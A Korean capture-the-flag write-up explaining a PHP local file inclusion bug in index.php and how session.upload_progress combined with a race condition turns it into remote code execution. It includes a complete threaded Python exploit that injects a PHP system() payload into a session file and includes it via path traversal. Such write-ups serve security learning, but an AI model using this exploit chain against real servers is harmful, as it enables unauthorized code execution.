취약점 분석
먼저 제공된 파일 중 index.php을 보면 GET 파라미터로 넘어온 값을 include 한다는 것을 알 수 있다.
<?php $page = $_GET['page']; if(isset($page)){ include("./data/".$page); } else { header("Location: /?page=1"); }?>이를 통해 LFI 취약점을 트리거 할 수 있는데, php 내용을 어디에 쓸 수 있을 지가 고민이었다.
www.conf의 내용을 보면 session.upload_progress.enabled가 1로 설정되어 있으므로, PHP_SESSION_UPLOAD_PROGRESS를 통해 php 코드를 업로드 할 수 있다.
[www]user = www-datagroup = www-datalisten = /run/php/php7.4-fpm.socklisten.owner = www-datalisten.group = www-datapm = dynamicpm.max_children = 48pm.start_servers = 16pm.min_spare_servers = 8pm.max_spare_servers = 16php_admin_value[session.upload_progress.enabled] = 1php_admin_value[memory_limit] = 32Mphp_admin_value[max_execution_time] = 10sphp_admin_value[opcache.enable] = 0request_terminate_timeout = 15ssession.upload_progress.enabled옵션은 php 내부에서 업로드 중인 개별 파일의 진행률을 추적하기 위해 사용된다.
해당 옵션이 켜져있으면 session_start 함수 없이도 세션 파일을 생성할 수 있으므로 세션 파일을 통해 RCE를 진행할 수 있다.
다만, 해당 문제에서는 session.upload_progress.cleanup 옵션이 활성화 되어 있으므로 세션 파일이 바로 삭제된다. 하지만 크기가 큰 파일을 보내고, Race Condition을 통하면 세션 파일을 읽을 수 있다.
익스플로잇
import requestsimport threading
SERVER = Falseurl = '<http://localhost:8080>' if not SERVER else "<http://20.196.197.149:8000>"
def read_session(): while True: res = requests.get( url + "/?page=../../../../../../../../../../var/lib/php/sessions/sess_lourcode") if len(res.text) != 0: print(res.text)
def write_session(): while True: res = requests.post(url, files={'PHP_SESSION_UPLOAD_PROGRESS': (None, '<?php system("/readflag") ?>'), 'file': ('lourcode', 'lourcode' * 0x300, 'application/octet-stream', { 'Expires': '0'})}, cookies={'PHPSESSID': 'lourcode'})
read = threading.Thread(target=read_session)read.start()
write = threading.Thread(target=write_session)write.start()
플래그를 획득하였다.
Reference
https://book.hacktricks.xyz/pentesting-web/file-inclusion/via-php_session_upload_progress